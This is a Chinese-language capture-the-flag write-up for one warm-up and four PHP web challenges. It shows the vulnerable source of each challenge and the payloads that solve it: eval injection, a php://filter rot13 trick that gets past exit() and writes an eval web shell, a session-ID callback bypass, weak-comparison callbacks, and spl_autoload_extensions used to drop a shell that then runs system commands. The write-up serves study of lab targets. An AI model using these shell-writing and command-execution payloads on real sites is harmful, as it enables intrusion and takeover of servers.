热身
<?php eval($_GET['f']);
方法一
在这里插入图片描述打开之后先查看phpinfo() 直接可以代码执行,从phpinfo里面找到flag的位置(自动包含的文件)
在这里插入图片描述输出即可得flag
在这里插入图片描述
方法二
第二种思路是,查看当前页面得变量,直接出flag ?f=print_r(get_defined_vars());
在这里插入图片描述
web1
<?php highlight_file(__FILE__); error_reporting(0); $content = $_GET[content]; file_put_contents($content,'<?php exit();'.$content);
知识点:死亡==exit的绕过==(分为三种情况) 参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
网上通用payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
========><?php @eval($_POST[cmd]);?>
在这里插入图片描述写入可利用参数cmd
查找fl开头的文件,post传参 cmd=system("find / -name fl*");
在这里插入图片描述发现有个/flag.txt
查看/flag.txt 即为flag
web2
<?php highlight_file(__FILE__); session_start(); error_reporting(0); include "flag.php"; if(count($_POST)===1){ //post传入的参数量必须只有一个 extract($_POST); if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){ //invoke echo $flag; } } ?>
session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。
Post session_id=session_id
Cookie PHPSESSID=HappyNewYear
即可得flag
web3
<?php highlight_file(__FILE__); error_reporting(0); include "flag.php"; $key= call_user_func(($_GET[1])); if($key=="HappyNewYear"){ echo $flag; } die("虎年大吉,新春快乐!");
知识点:==弱比较和回调函数== PHP弱类型比较:https://blog.csdn.net/THlo1/article/details/108227721
payload: ?1=session_start
?1=error_reporting
?1=json_last_error
session_start:开启会话 error_reporting:如果没有设置可选参数 level, error_reporting() 仅会返回当前的错误报告级别 json_last_error:如果有,返回 JSON 编码解码时最后发生的错误
web4
<?php highlight_file(__FILE__); error_reporting(0); $key= call_user_func(($_GET[1])); file_put_contents($key, "<?php eval(\$_POST[1]);?>"); die("虎年大吉,新春快乐!");
spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。
当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的spl_autoload函数使用的扩展名是".inc,.php"。
传入 ?1=spl_autoload_extensions
生成 .inc,.php 文件(shell文件)
之后进入.inc,.php
1=system('ls /') 查看目录下所有文件,发现有个f1ag.txt
查看f1ag.txt即可得flag